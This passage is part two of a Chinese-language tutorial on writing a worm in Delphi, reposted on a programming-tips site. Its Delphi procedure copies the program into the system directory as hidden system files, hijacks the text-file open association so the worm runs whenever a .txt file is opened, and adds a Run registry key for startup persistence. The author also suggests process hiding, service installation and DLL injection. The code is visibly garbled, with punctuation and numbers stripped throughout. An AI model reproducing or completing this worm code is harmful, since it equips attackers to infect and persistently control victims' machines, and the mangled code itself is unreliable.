熱點推薦:
您现在的位置: 電腦知識網 >> 編程 >> Delphi編程 >> 正文

用Delphi來編寫蠕蟲病毒淺析[2]

2013-11-23 17:36:15  來源: Delphi編程 
下面我綜合上面的說明來給出一個簡短的例子

procedure SelfCopy;
var
Pathvalue:array [] of char;
Hk:HKEY;
S:string;
begin
GetSystemDirectory(Path);
//取得系統的路徑
s:=strpas(Path);
//轉換成字符串
CopyFile(pchar(paramstr())pchar(S+/ruinexe)false);
CopyFile(pchar(paramstr())pchar(S+/virus_ruinexe)false);
//把自身拷貝到系統目錄下為ruinexevirus_ruinexe
SetFileAttributes(pchar(S+/ruinexe)FILE_ATTRIBUTE_HIDDEN+FILE_ATTRIBUTE_SYSTEM);
SetFileAttributes(pchar(S+/virus_ruinexe)FILE_ATTRIBUTE_HIDDEN+FILE_ATTRIBUTE_SYSTEM);
//設置剛才的兩個文件為系統和隱藏
RegOpenKey(HKEY_CLASSES_ROOTtxtfile/shell/open/commandHk);
value:=virus_ruinexe %;
RegSetvalueEx(HkREG_SZ@value);
//把virus_ruinexe和文本文件關聯
RegOpenKey(HKEY_LOCAL_MACHINESoftware/Microsoft/Windows/CurrentVersion/RunHk);
value:=ruinexe;
RegSetvalueEx(HkruinREG_SZ@value);
//設置開機自動運行ruinexe
end;
  我們看上面的這個程序就完成了自我復制和開機自動運行並且關聯了文本文件這樣如果run下的鍵被刪除那麼他打開文本文件蠕蟲文件又被激活

  不過這個樣子你就需要在你的主程序裡面進行判斷如果傳遞的參數等於 則打開該文本並且進行自我保護

  如

begin
if paramcount= then
shellexecute(opennotepadexepchar(paramstr())nilsw_normal);
//其他的代碼
  這裡我只是給出一個簡單的例子來描述出一個大概的思路很多地方還不完善比如進程的隱藏你可以進行判斷如果是你可以registerserverapplication如果你是用的你可以做為服務啟動或者是插入dll或者是用求職信的方法開機加載一個dll或者是winini

[]  []  


From:http://tw.wingwit.com/Article/program/Delphi/201311/24756.html
    推薦文章
    Copyright © 2005-2013 電腦知識網 Computer Knowledge   All rights reserved.